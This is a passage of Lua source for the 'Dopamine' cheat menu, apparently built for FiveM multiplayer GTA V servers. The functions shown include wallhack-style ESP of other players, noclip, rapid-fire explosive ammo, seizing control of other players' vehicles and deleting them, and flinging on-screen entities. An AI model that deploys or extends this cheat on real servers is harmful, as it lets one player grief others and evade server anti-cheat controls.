  3744. Dopamine.functions.respawnPed(Dopamine.datastore.pLocalPlayer.pedId, formattedCoords, 0.0)
  3745. StopScreenEffect('DeathFailOut')
  3746. Dopamine.pushNotification('Revived', 5000)
  3747. end
  3748.  
  3749. Dopamine.functions.repairVehicle = function(pvehicle)
  3750. SetVehicleEngineHealth(pvehicle, 1000)
  3751. SetVehicleFixed(pvehicle)
  3752. SetVehicleEngineOn(pvehicle, 1, 1)
  3753. SetVehicleBurnout(pvehicle, false)
  3754. end
  3755.  
  3756. Dopamine.functions.deleteVehicle = function(pvehicle, radius)
  3757. pCreateThread(function()
  3758. if radius then
  3759. local playerPed = Dopamine.datastore.pLocalPlayer.pedId
  3760. radius = tonumber(radius) + 0.01
  3761. local vehicles = Dopamine.functions.game.getVehiclesInArea(GetEntityCoords(playerPed), radius)
  3762.  
  3763. for k,entity in ipairs(vehicles) do
  3764. local attempt = 0
  3765.  
  3766. if entity == Dopamine.datastore.pLocalPlayer.cVehicle then entity = entity + 1 end
  3767.  
  3768. while not NetworkHasControlOfEntity(entity) and attempt < 50 and DoesEntityExist(entity) do
  3769. NetworkRequestControlOfEntity(entity)
  3770. attempt = attempt + 1
  3771. end
  3772.  
  3773. if DoesEntityExist(entity) and NetworkHasControlOfEntity(entity) then
  3774. SetEntityAsMissionEntity(entity, false, true)
  3775. DeleteVehicle(entity)
  3776. end
  3777. end
  3778. else
  3779. SetEntityAsMissionEntity(pvehicle, false, true)
  3780. DeleteVehicle(pvehicle)
  3781. end
  3782. end)
  3783. end
  3784.  
  3785. Dopamine.functions.optimizeFPS = function()
  3786. ClearAllBrokenGlass()
  3787. ClearAllHelpMessages()
  3788. LeaderboardsReadClearAll()
  3789. ClearBrief()
  3790. ClearGpsFlags()
  3791. ClearPrints()
  3792. ClearSmallPrints()
  3793. ClearReplayStats()
  3794. LeaderboardsClearCacheData()
  3795. ClearFocus()
  3796. ClearHdArea()
  3797. ClearPedBloodDamage(Dopamine.datastore.pLocalPlayer.pedId)
  3798. ClearPedWetness(Dopamine.datastore.pLocalPlayer.pedId)
  3799. ClearPedEnvDirt(Dopamine.datastore.pLocalPlayer.pedId)
  3800. ResetPedVisibleDamage(Dopamine.datastore.pLocalPlayer.pedId)
  3801. end
  3802.  
  3803. Dopamine.functions.disappearFromChase = function()
  3804. if IsPedInAnyVehicle(GetPlayerPed(-1)) then
  3805.  
  3806. local vehicle = GetVehiclePedIsIn(Dopamine.datastore.pLocalPlayer.pedId, true)
  3807. if DoesEntityExist(vehicle) then
  3808. local targetx, targety, targetz = table.unpack(GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId))
  3809. if Dopamine.storedControls.selectedDisappearFromChase == 1 then
  3810. Dopamine.natives.setEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, targetx + 1, targety + 2, targetz + 100)
  3811. elseif Dopamine.storedControls.selectedDisappearFromChase == 2 then
  3812. Dopamine.natives.setEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, 195.23, -934.04, 30.69)
  3813. elseif Dopamine.storedControls.selectedDisappearFromChase == 3 then
  3814. Dopamine.natives.setEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, -1653.85, -860.87, 9.16)
  3815. elseif Dopamine.storedControls.selectedDisappearFromChase == 4 then
  3816. Dopamine.natives.setEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, 2024.28, 3770.94, 32.18)
  3817. elseif Dopamine.storedControls.selectedDisappearFromChase == 5 then
  3818. Dopamine.natives.setEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, -183.57, 6366.65, 31.47)
  3819. end
  3820.  
  3821. --[[Dopamine.natives.setEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, -1729.98, -724.68, 9.84)]]
  3822.  
  3823. local newDriver = CreatePedInsideVehicle(vehicle, 4, GetEntityModel(Dopamine.datastore.pLocalPlayer.pedId), -1, true, false)
  3824. Dopamine.functions.sPO.clonePedOutfit(newDriver, Dopamine.datastore.pLocalPlayer.pedId)
  3825. SetEntityAsMissionEntity(newDriver, 0, 0)
  3826. TaskVehicleDriveToCoordLongrange(newDriver, vehicle, -34.552, -673.060, 31.944, 100.0, 537657916, 1.0)
  3827. SetDriveTaskDrivingStyle(newDriver, 6)
  3828.  
  3829. local vehicleModel = GetEntityModel(vehicle)
  3830. local spawnedVehicle = Dopamine.functions.sPO.SpawnVehicleToPlayer(vehicleModel, PlayerId())
  3831. local vehicleProperties = Dopamine.functions.game.getVehicleProperties(vehicle)
  3832. vehicleProperties.plate = nil
  3833.  
  3834. Dopamine.functions.game.setVehicleProperties(spawnedVehicle, vehicleProperties)
  3835. else
  3836. Dopamine.pushNotification('Error getting your car')
  3837. dir_print('vehicle entity doesnt exist')
  3838. end
  3839. else
  3840. Dopamine.pushNotification('You\'re not in a vehicle')
  3841. end
  3842. end
  3843.  
  3844. Dopamine.functions.vehicle2Step = function()
  3845. p_flame_location = {
  3846. 'exhaust',
  3847. 'exhaust_2',
  3848. 'exhaust_3',
  3849. 'exhaust_4',
  3850. 'exhaust_5',
  3851. 'exhaust_6',
  3852. 'exhaust_7',
  3853. 'exhaust_8',
  3854. 'exhaust_9',
  3855. 'exhaust_10',
  3856. 'exhaust_11',
  3857. 'exhaust_12',
  3858. 'exhaust_13',
  3859. 'exhaust_14',
  3860. 'exhaust_15',
  3861. 'exhaust_16'
  3862. }
  3863. p_flame_particle = 'veh_backfire'
  3864. p_flame_particle_asset = 'core'
  3865. p_flame_size = 2.0
  3866.  
  3867. if IsPedInAnyVehicle(GetPlayerPed(-1)) then
  3868. local pedVehicle = GetVehiclePedIsIn(GetPlayerPed(-1))
  3869. local pedPos = GetEntityCoords(GetPlayerPed(-1))
  3870. local vehiclePos = GetEntityCoords(pedVehicle)
  3871. local RPM = GetVehicleCurrentRpm(GetVehiclePedIsIn(GetPlayerPed(-1)))
  3872.  
  3873. if GetPedInVehicleSeat(pedVehicle, -1) == GetPlayerPed(-1) then
  3874. local BackFireDelay = (math.random(250, 750))
  3875. local backFireSize = (math.random(2, 6) / 1.5)
  3876. if RPM > 0.3 and RPM < 0.6 then
  3877. for _,bones in pairs(p_flame_location) do
  3878. if GetEntityBoneIndexByName(pedVehicle, bones) >= 0 then
  3879. UseParticleFxAssetNextCall(p_flame_particle_asset)
  3880. createdPart = StartParticleFxLoopedOnEntityBone(p_flame_particle, NetToVeh(VehToNet(pedVehicle)), 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, GetEntityBoneIndexByName(NetToVeh(VehToNet(pedVehicle)), bones), backFireSize--[[p_flame_size]], 0.0, 0.0, 0.0)
  3881. StopParticleFxLooped(createdPart, 1)
  3882. end
  3883. end
  3884. --[[Dopamine.natives.playSoundFrontend(-1, 'Jet_Explosions', 'exile_1', true)]]
  3885. Dopamine.natives.addExplosion(vehiclePos.x, vehiclePos.y, vehiclePos.z, 61, 0.0, true, true, 0.0, true)
  3886. Dopamine.datastore.pLocalPlayer.should2stepAutist = true
  3887. pWait(BackFireDelay)
  3888. else
  3889. Dopamine.datastore.pLocalPlayer.should2stepAutist = false
  3890. end
  3891. end
  3892. end
  3893. end
  3894.  
  3895. Dopamine.functions.maxUpgrades = function(veh)
  3896. SetVehicleModKit(veh, 0)
  3897. SetVehicleCustomPrimaryColour(Dopamine.datastore.pLocalPlayer.cVehicle, 0, 0, 0)
  3898. SetVehicleCustomSecondaryColour(Dopamine.datastore.pLocalPlayer.cVehicle, 0, 0, 0)
  3899. SetVehicleColours(veh, 12, 12)
  3900. SetVehicleModColor_1(veh, 3, false)
  3901. SetVehicleExtraColours(veh, 3, false)
  3902. ToggleVehicleMod(veh, 18, true)
  3903. ToggleVehicleMod(veh, 22, true)
  3904. SetVehicleMod(veh, 16, 5, false)
  3905. SetVehicleMod(veh, 12, 2, false)
  3906. SetVehicleMod(veh, 11, 3, false)
  3907. SetVehicleMod(veh, 14, 14, false)
  3908. SetVehicleMod(veh, 15, 3, false)
  3909. SetVehicleMod(veh, 13, 2, false)
  3910. SetVehicleWindowTint(veh, 5)
  3911. SetVehicleWheelType(veh, false)
  3912. SetVehicleMod(veh, 23, 21, true)
  3913. SetVehicleMod(veh, 0, 1, false)
  3914. SetVehicleMod(veh, 1, 1, false)
  3915. SetVehicleMod(veh, 2, 1, false)
  3916. SetVehicleMod(veh, 3, 1, false)
  3917. SetVehicleMod(veh, 4, 1, false)
  3918. SetVehicleMod(veh, 5, 1, false)
  3919. SetVehicleMod(veh, 6, 1, false)
  3920. SetVehicleMod(veh, 7, 1, false)
  3921. SetVehicleMod(veh, 8, 1, false)
  3922. SetVehicleMod(veh, 9, 1, false)
  3923. SetVehicleMod(veh, 10, 1, false)
  3924. IsVehicleNeonLightEnabled(veh, true)
  3925. SetVehicleNeonLightEnabled(veh, 0, true)
  3926. SetVehicleNeonLightEnabled(veh, 1, true)
  3927. SetVehicleNeonLightEnabled(veh, 2, true)
  3928. SetVehicleNeonLightEnabled(veh, 3, true)
  3929. SetVehicleNeonLightEnabled(veh, 4, true)
  3930. SetVehicleNeonLightEnabled(veh, 5, true)
  3931. SetVehicleNeonLightEnabled(veh, 6, true)
  3932. SetVehicleNeonLightEnabled(veh, 7, true)
  3933. SetVehicleNeonLightsColour(veh, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b)
  3934. SetVehicleModKit(veh, 0)
  3935. ToggleVehicleMod(veh, 20, true)
  3936. SetVehicleModKit(veh, 0)
  3937. SetVehicleTyreSmokeColor(veh, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b)
  3938. SetVehicleNumberPlateTextIndex(veh, true)
  3939. --[[Dopamine.functions.runParticle()]]
  3940. end
  3941.  
  3942. Dopamine.functions.maxPerformanceUpgrades = function(pVehicle)
  3943. SetVehicleModKit(pVehicle, 0)
  3944. SetVehicleMod(pVehicle, 11, GetNumVehicleMods(pVehicle, 11) - 1, false)
  3945. SetVehicleMod(pVehicle, 12, GetNumVehicleMods(pVehicle, 12) - 1, false)
  3946. SetVehicleMod(pVehicle, 13, GetNumVehicleMods(pVehicle, 13) - 1, false)
  3947. SetVehicleMod(pVehicle, 15, GetNumVehicleMods(pVehicle, 15) - 2, false)
  3948. SetVehicleMod(pVehicle, 16, GetNumVehicleMods(pVehicle, 16) - 1, false)
  3949. ToggleVehicleMod(pVehicle, 17, true)
  3950. ToggleVehicleMod(pVehicle, 18, true)
  3951. ToggleVehicleMod(pVehicle, 19, true)
  3952. ToggleVehicleMod(pVehicle, 21, true)
  3953. end
  3954.  
  3955. Dopamine.functions.spawnVehicle = function(vehicle_model)
  3956. local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
  3957. local veh = vehicle_model
  3958. if veh == nil then
  3959. veh = 'elegy'
  3960. end
  3961. local vehiclehash = GetHashKey(veh)
  3962. RequestModel(vehiclehash)
  3963. pCreateThread(function()
  3964. local timeout = 0
  3965. while not HasModelLoaded(vehiclehash) do
  3966. timeout = timeout + 100
  3967. pWait(100)
  3968. if timeout > 5000 then
  3969. Dopamine.pushNotification('Could not spawn this vehicle!', 5000)
  3970. break
  3971. end
  3972. end
  3973. local SpawnedCar = Dopamine.natives.createVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
  3974.  
  3975. SetVehicleStrong(SpawnedCar, true)
  3976. SetVehicleEngineOn(SpawnedCar, true, true, false)
  3977. SetVehicleEngineCanDegrade(SpawnedCar, false)
  3978.  
  3979. if Dopamine.storedControls.vehSpawnUpgraded then
  3980. Dopamine.functions.maxUpgrades(SpawnedCar)
  3981. end
  3982.  
  3983. if Dopamine.storedControls.vehSpawnInside then
  3984. SetPedIntoVehicle(Dopamine.datastore.pLocalPlayer.pedId, SpawnedCar, -1)
  3985. end
  3986.  
  3987. --[[Dopamine.functions.runParticle()]]
  3988. end)
  3989. end
  3990.  
  3991. Dopamine.functions.spawnCustomVehicle = function(data)
  3992. pCreateThread(function()
  3993. local timeout = 0
  3994. if data.hash == nil then data.hash = 'elegy' end
  3995. if not data.coords then data.coords = GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId) end
  3996. RequestModel(data.hash)
  3997. while not HasModelLoaded(data.hash) do
  3998. timeout = timeout + 100
  3999. pWait(100)
  4000. if timeout > 5000 then
  4001. Dopamine.functions.sendNotification('Could not spawn this vehicle!')
  4002. break
  4003. end
  4004. end
  4005.  
  4006. local spawnedCar = Dopamine.natives.createVehicle(data.hash, data.coords, GetEntityHeading(Dopamine.datastore.pLocalPlayer.pedId), true, true)
  4007.  
  4008. SetVehicleStrong(spawnedCar, true)
  4009. SetVehicleEngineOn(spawnedCar, true, true, false)
  4010. SetVehicleEngineCanDegrade(spawnedCar, false)
  4011.  
  4012. if not Dopamine.functions.game.isNullOrEmpty(data.plate) then
  4013. SetVehicleNumberPlateText(spawnedCar, data.plate)
  4014. end
  4015.  
  4016. if Dopamine.storedControls.vehSpawnUpgraded then
  4017. Dopamine.functions.maxUpgrades(spawnedCar)
  4018. end
  4019.  
  4020. if data.setIn then
  4021. SetPedIntoVehicle(Dopamine.datastore.pLocalPlayer.pedId, spawnedCar, -1)
  4022. end
  4023.  
  4024. if data.props then
  4025. Dopamine.functions.game.setVehicleProperties(spawnedCar, data.props)
  4026. end
  4027. end)
  4028. end
  4029.  
  4030. Dopamine.functions.customBullet = function()
  4031. function rotDirection(rot)
  4032. local radianz = rot.z * 0.0174532924
  4033. local radianx = rot.x * 0.0174532924
  4034. local num = math.abs(math.cos(radianx))
  4035.  
  4036. local dir = vector3(-math.sin(radianz) * num, math.cos(radianz) * num, math.sin(radianx))
  4037.  
  4038. return dir
  4039. end
  4040. pCreateThread(function()
  4041. local startDistance = Dopamine.trashFunctions.getDistance(GetGameplayCamCoord(), GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, true))
  4042. local endDistance = Dopamine.trashFunctions.getDistance(GetGameplayCamCoord(), GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, true))
  4043. startDistance = startDistance + 0.25
  4044. endDistance = endDistance + 1000.0
  4045.  
  4046. if IsPedShooting(Dopamine.datastore.pLocalPlayer.pedId) then
  4047. local bullet = GetHashKey(Dopamine.menuTables.weaponsCustomBullet.actual)
  4048. if not HasWeaponAssetLoaded(bullet) then
  4049. RequestWeaponAsset(bullet, 31, false)
  4050. while not HasWeaponAssetLoaded(bullet) do
  4051. pWait(0)
  4052. end
  4053. end
  4054.  
  4055. Dopamine.natives.shootSingleBulletBetweenCoords(Dopamine.trashFunctions.addVector(GetGameplayCamCoord(), Dopamine.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), startDistance)).x,
  4056. Dopamine.trashFunctions.addVector(GetGameplayCamCoord(), Dopamine.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), startDistance)).y, Dopamine.trashFunctions.addVector(GetGameplayCamCoord(),
  4057. Dopamine.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), startDistance)).z, Dopamine.trashFunctions.addVector(GetGameplayCamCoord(), Dopamine.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), endDistance)).x,
  4058. Dopamine.trashFunctions.addVector(GetGameplayCamCoord(), Dopamine.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), endDistance)).y, Dopamine.trashFunctions.addVector(GetGameplayCamCoord(),
  4059. Dopamine.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), endDistance)).z, 250, true, bullet, Dopamine.datastore.pLocalPlayer.pedId, true, false, -1.0)
  4060. end
  4061. end)
  4062. end
  4063.  
  4064. Dopamine.functions.rapidFireTick = function()
  4065. if Dopamine.natives.isDisabledControlPressed(0, Keys['MOUSE1']) then
  4066. local _, weapon = GetCurrentPedWeapon(Dopamine.datastore.pLocalPlayer.pedId)
  4067. local launchPos = GetEntityCoords(GetCurrentPedWeaponEntityIndex(Dopamine.datastore.pLocalPlayer.pedId))
  4068. local targetPos = GetGameplayCamCoord() + (GetCamDirFromScreenCenter() * 200.0)
  4069.  
  4070. ClearAreaOfProjectiles(launchPos, 0.0, 1)
  4071.  
  4072. Dopamine.natives.shootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1, weapon, Dopamine.datastore.pLocalPlayer.pedId, true, true, 24000.0)
  4073.  
  4074. if Dopamine.storedControls.weapExplosiveAmmo then
  4075. Dopamine.natives.shootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1, 'WEAPON_GRENADE', Dopamine.datastore.pLocalPlayer.pedId, true, true, 24000.0)
  4076. end
  4077. end
  4078. end
  4079.  
  4080. Dopamine.functions.toggleESP = function()
  4081. local _,x,y = false, 0.0, 0.0
  4082.  
  4083. pCreateThread(function()
  4084. while Dopamine.storedControls.visESPEnable and Dopamine.shouldShowMenu do
  4085. local plist = Dopamine.natives.getActivePlayers()
  4086. Dopamine.trashFunctions.table_removekey(plist, PlayerId())
  4087. for i = 1, #plist do
  4088. local targetCoords = GetEntityCoords(GetPlayerPed(plist[i]))
  4089. _, x, y = GetScreenCoordFromWorldCoord(targetCoords.x, targetCoords.y, targetCoords.z)
  4090. local distance = GetDistanceBetweenCoords(GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId), targetCoords)
  4091. if distance <= Dopamine.storedControls.visualsESPDistance then
  4092. local _we, wephash = GetCurrentPedWeapon(GetPlayerPed(plist[i]), 1)
  4093. local wepname = Dopamine.trashFunctions.weaponNameFromHash(wephash)
  4094. local vehname = 'On Foot'
  4095. if IsPedInAnyVehicle(GetPlayerPed(plist[i]), 0) then
  4096. vehname = GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(GetPlayerPed(plist[i])))))
  4097. end
  4098. if wepname == nil then wepname = 'Unknown' end
  4099.  
  4100. local espstring1 = ''
  4101. local espstring2 = ''
  4102. if Dopamine.storedControls.visESPShowID then
  4103. espstring1 = espstring1..'~s~ | ~w~ID: ~s~' .. GetPlayerServerId(plist[i])
  4104. end
  4105. if Dopamine.storedControls.visESPShowName then
  4106. espstring1 = espstring1..'~s~ | ~w~Name: ~s~' .. GetPlayerName(plist[i])
  4107. end
  4108. if Dopamine.storedControls.visESPShowDistance then
  4109. espstring1 = espstring1..'~s~ | ~w~Distance: ~s~' .. math.floor(distance)..'~s~ |'
  4110. end
  4111. if Dopamine.storedControls.visESPShowWeapon then
  4112. espstring2 = espstring2..'~s~ | ~w~Weapon: ~s~' .. wepname
  4113. end
  4114. if Dopamine.storedControls.visESPShowVehicle then
  4115. espstring2 = espstring2..'~s~ | ~w~Vehicle: ~s~' .. vehname
  4116. end
  4117. Dopamine.DrawTxt(espstring1, x - 0.04, y - 0.04, 0.0, 0.3, Dopamine.mainColor)
  4118. Dopamine.DrawTxt(espstring2, x - 0.04, y - 0.03, 0.0, 0.3, Dopamine.mainColor)
  4119. end
  4120. end
  4121. pWait(Dopamine.storedControls.visualsESPRefreshRate)
  4122. end
  4123. end)
  4124. end
  4125.  
  4126. Dopamine.functions.toggleNoclip = function()
  4127. Dopamine.storedControls.noClip = not Dopamine.storedControls.noClip
  4128. if not Dopamine.storedControls.noClip then
  4129. SetEntityRotation(Dopamine.datastore.pLocalPlayer.cVehicle, GetGameplayCamRot(2), 2, 1)
  4130. end
  4131. end
  4132.  
  4133. Dopamine.functions.getCamDirection = function()
  4134. local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(Dopamine.datastore.pLocalPlayer.pedId)
  4135. local pitch = GetGameplayCamRelativePitch()
  4136.  
  4137. local x = -math.sin(heading * math.pi / 180.0)
  4138. local y = math.cos(heading * math.pi / 180.0)
  4139. local z = math.sin(pitch * math.pi / 180.0)
  4140.  
  4141. local len = math.sqrt(x * x + y * y + z * z)
  4142. if len ~= 0 then
  4143. x = x / len
  4144. y = y / len
  4145. z = z / len
  4146. end
  4147.  
  4148. return x, y, z
  4149. end
  4150.  
  4151. Dopamine.functions.getSeatPedIsIn = function(ped)
  4152. if not IsPedInAnyVehicle(ped, false) then
  4153. return
  4154. else
  4155. veh = GetVehiclePedIsIn(ped)
  4156. for i = 0, GetVehicleMaxNumberOfPassengers(veh) do
  4157. if GetPedInVehicleSeat(veh) then return i end
  4158. end
  4159. end
  4160. end
  4161.  
  4162. Dopamine.functions.noclipAdv = function()
  4163. local noclipSpeed = 5
  4164. local oldnoclipSpeed = 5
  4165.  
  4166. local isInVehicle = IsPedInAnyVehicle(Dopamine.datastore.pLocalPlayer.pedId, 0)
  4167. local k = nil
  4168. local x, y, z = nil
  4169.  
  4170. if not isInVehicle then
  4171. k = Dopamine.datastore.pLocalPlayer.pedId
  4172. x, y, z = table.unpack(GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, 2))
  4173. else
  4174. k = Dopamine.datastore.pLocalPlayer.cVehicle
  4175. x, y, z = table.unpack(GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, 1))
  4176. end
  4177.  
  4178. if isInVehicle and Dopamine.functions.getSeatPedIsIn(Dopamine.datastore.pLocalPlayer.pedId) ~= -1 then Dopamine.trashFunctions.reqControlOnce(k) end
  4179.  
  4180. local dx, dy, dz = Dopamine.functions.getCamDirection()
  4181. --[[Dopamine.natives.setEntityVisible(Dopamine.datastore.pLocalPlayer.pedId, 0, 0)
  4182. Dopamine.natives.setEntityVisible(k, 0, 0)]]
  4183.  
  4184. SetEntityVelocity(k, 0.0001, 0.0001, 0.0001)
  4185.  
  4186. if IsDisabledControlJustPressed(0, Keys['LEFTSHIFT']) then --[[ Change speed]]
  4187. oldnoclipSpeed = noclipSpeed
  4188. noclipSpeed = noclipSpeed * 2
  4189. end
  4190. if IsDisabledControlJustReleased(0, Keys['LEFTSHIFT']) then --[[ Restore speed]]
  4191. noclipSpeed = oldnoclipSpeed
  4192. end
  4193.  
  4194. if Dopamine.natives.isDisabledControlPressed(0, 32) then --[[ MOVE FORWARD]]
  4195. x = x + noclipSpeed * dx
  4196. y = y + noclipSpeed * dy
  4197. z = z + noclipSpeed * dz
  4198. end
  4199.  
  4200. if Dopamine.natives.isDisabledControlPressed(0, 269) then --[[ MOVE BACK]]
  4201. x = x - noclipSpeed * dx
  4202. y = y - noclipSpeed * dy
  4203. z = z - noclipSpeed * dz
  4204. end
  4205.  
  4206. if Dopamine.natives.isDisabledControlPressed(0, Keys['SPACE']) then --[[ MOVE UP]]
  4207. z = z + noclipSpeed
  4208. end
  4209.  
  4210. if Dopamine.natives.isDisabledControlPressed(0, Keys['LEFTCTRL']) then --[[ MOVE DOWN]]
  4211. z = z - noclipSpeed
  4212. end
  4213.  
  4214.  
  4215. Dopamine.natives.setEntityCoordsNoOffset(k, x, y, z, true, true, true)
  4216. end
  4217.  
  4218. Dopamine.functions.magnetoMode = function()
  4219. if Dopamine.storedControls.magnetoMode then
  4220. pCreateThread(function()
  4221. local ForceKey = Keys[Dopamine.keyBinds.currentKeybindMagneto.handle]
  4222. local Force = 0.5
  4223. local KeyPressed = false
  4224. local KeyTimer = 0
  4225. local KeyDelay = 15
  4226. local ForceEnabled = false
  4227. local StartPush = false
  4228.  
  4229. local function forceMagnetoTick()
  4230. if (KeyPressed) then
  4231. KeyTimer = KeyTimer + 1
  4232. if (KeyTimer >= KeyDelay) then
  4233. KeyTimer = 0
  4234. KeyPressed = false
  4235. end
  4236. end
  4237. if Dopamine.natives.isDisabledControlPressed(0, ForceKey) and not KeyPressed and not ForceEnabled then
  4238. KeyPressed = true
  4239. ForceEnabled = true
  4240. end
  4241. if (StartPush) then
  4242. StartPush = false
  4243. local pid = Dopamine.datastore.pLocalPlayer.pedId
  4244. local CamRot = GetGameplayCamRot(2)
  4245.  
  4246. local force = 5
  4247.  
  4248. local Fx = -(math.sin(math.rad(CamRot.z)) * force * 10)
  4249. local Fy = (math.cos(math.rad(CamRot.z)) * force * 10)
  4250. local Fz = force * (CamRot.x * 0.2)
  4251.  
  4252. local PlayerVeh = GetVehiclePedIsIn(pid, false)
  4253.  
  4254. for k in Dopamine.trashFunctions.enumVehicles() do
  4255. SetEntityInvincible(k, false)
  4256. if IsEntityOnScreen(k) and k ~= PlayerVeh then
  4257. ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true, false, true, true, true, true)
  4258. end
  4259. end
  4260. for k in Dopamine.trashFunctions.enumPeds() do
  4261. if IsEntityOnScreen(k) and k ~= pid then
  4262. ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true, false, true, true, true, true)
  4263. end
  4264. end
  4265. end
  4266. if Dopamine.natives.isDisabledControlPressed(0, ForceKey) and not KeyPressed and ForceEnabled then
  4267. KeyPressed = true
  4268. StartPush = true
  4269. ForceEnabled = false
  4270. end
  4271. if (ForceEnabled) then
  4272. local pid = Dopamine.datastore.pLocalPlayer.pedId
  4273. local PlayerVeh = GetVehiclePedIsIn(pid, false)
  4274. Markerloc = GetGameplayCamCoord() + (Dopamine.trashFunctions.rotationToDirection(GetGameplayCamRot(2)) * 20)
  4275. DrawMarker(28, Markerloc, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 1.0, 1.0, 1.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 35, false, true, 2, nil, nil, false)
  4276.  
  4277. for k in Dopamine.trashFunctions.enumVehicles() do
  4278. SetEntityInvincible(k, true)
  4279. if IsEntityOnScreen(k) and (k ~= PlayerVeh) then
  4280. Dopamine.trashFunctions.reqControlOnce(k)
  4281. FreezeEntityPosition(k, false)
  4282. Dopamine.trashFunctions.forceOscillate(k, Markerloc, 0.5, 0.3)
  4283. end
  4284. end
  4285.  
  4286. for k in Dopamine.trashFunctions.enumPeds() do
  4287. if IsEntityOnScreen(k) and k ~= Dopamine.datastore.pLocalPlayer.pedId then
  4288. Dopamine.trashFunctions.reqControlOnce(k)
  4289. SetPedToRagdoll(k, 4000, 5000, 0, true, true, true)
  4290. FreezeEntityPosition(k, false)
  4291. Dopamine.trashFunctions.forceOscillate(k, Markerloc, 0.5, 0.3)
  4292. end
  4293. end
  4294. end
  4295. end
  4296.  
  4297. while Dopamine.storedControls.magnetoMode do forceMagnetoTick() pWait(0) end
  4298. end)
  4299. end
  4300. end
  4301.  
  4302. Dopamine.functions.applyShockwave = function(entity, force)
  4303. if not force then force = 50 end
  4304. local pos = GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId)
  4305. local coord = GetEntityCoords(entity)
  4306. local dx = coord.x - pos.x
  4307. local dy = coord.y - pos.y
  4308. local dz = coord.z - pos.z
  4309. local distance = math.sqrt(dx * dx + dy * dy + dz * dz)
  4310. local distanceRate = (force / distance) * math.pow(1.04, 1 - distance)
  4311. ApplyForceToEntity(entity, 1, distanceRate * dx, distanceRate * dy, distanceRate * dz, math.random() * math.random(1, 10), math.random() * math.random(-1, 1), math.random() * math.random(-1, 1), true, false, true, true, true, true)
  4312. end
  4313.  
  4314. Dopamine.functions.doForceFieldTick = function(radius)
  4315. local player = Dopamine.datastore.pLocalPlayer.pedId
  4316. local coords = GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId)
  4317. local playerVehicle = GetPlayersLastVehicle()
  4318. local inVehicle = IsPedInVehicle(player, playerVehicle, true)
  4319.  
  4320. DrawMarker(28, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, radius, radius, radius, 180, 80, 0, 35, false, true, 2, nil, nil, false)
  4321.  
  4322. for k in Dopamine.trashFunctions.enumVehicles() do
  4323. if (not inVehicle or k ~= playerVehicle) and GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius * 1.2 then
  4324. Dopamine.trashFunctions.reqControlOnce(k)
  4325. Dopamine.functions.applyShockwave(k, 50)
  4326. end
  4327. end
  4328.  
  4329. for k in Dopamine.trashFunctions.enumPeds() do
  4330. if k ~= Dopamine.datastore.pLocalPlayer.pedId and GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius * 1.2 and not IsPedAPlayer(k) then
  4331. Dopamine.trashFunctions.reqControlOnce(k)
  4332. if NetworkHasControlOfEntity(k) then
  4333. SetPedRagdollOnCollision(k, true)
  4334. SetPedRagdollForceFall(k)
  4335. Dopamine.functions.applyShockwave(k, 50)
  4336. end
  4337. end
  4338. end
  4339. end
  4340.  
  4341. Dopamine.functions.randomClothes = function(target)
  4342. pCreateThread(function()
  4343. local ped = GetPlayerPed(target)
  4344. SetPedRandomComponentVariation(ped, false)
  4345. SetPedRandomProps(ped)
  4346. end)
  4347. end
  4348.  
  4349. Dopamine.functions.spawnRandomTrain = function()
  4350. if Dopamine.datastore.trainRide.handle then
  4351. DeleteMissionTrain(Dopamine.datastore.trainRide.handle)
  4352. Dopamine.datastore.trainRide.trainSpeed = 5.0
  4353. dir_print('Deleted train')
  4354. Dopamine.datastore.trainRide.handle = nil
  4355. Dopamine.datastore.trainRide.handleHasLoaded = false
  4356. pWait(100)
  4357. if Dopamine.datastore.trainRide.oldCoords then
  4358. Dopamine.functions.teleportSelf(Dopamine.datastore.trainRide.oldCoords.x, Dopamine.datastore.trainRide.oldCoords.y, Dopamine.datastore.trainRide.oldCoords.z)
  4359. end
  4360. else
  4361. Dopamine.datastore.trainRide.oldCoords = GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId)
  4362. local cablecar = GetHashKey('cablecar')
  4363. local metrotrain = GetHashKey('metrotrain')
  4364. local freight = GetHashKey('freight')
  4365. local freightcar = GetHashKey('freightcar')
  4366. local freightgrain = GetHashKey('freightgrain')
  4367. local freightcont1 = GetHashKey('freightcont1')
  4368. local freightcont2 = GetHashKey('freightcont2')
  4369. local freighttrailer = GetHashKey('freighttrailer')
  4370.  
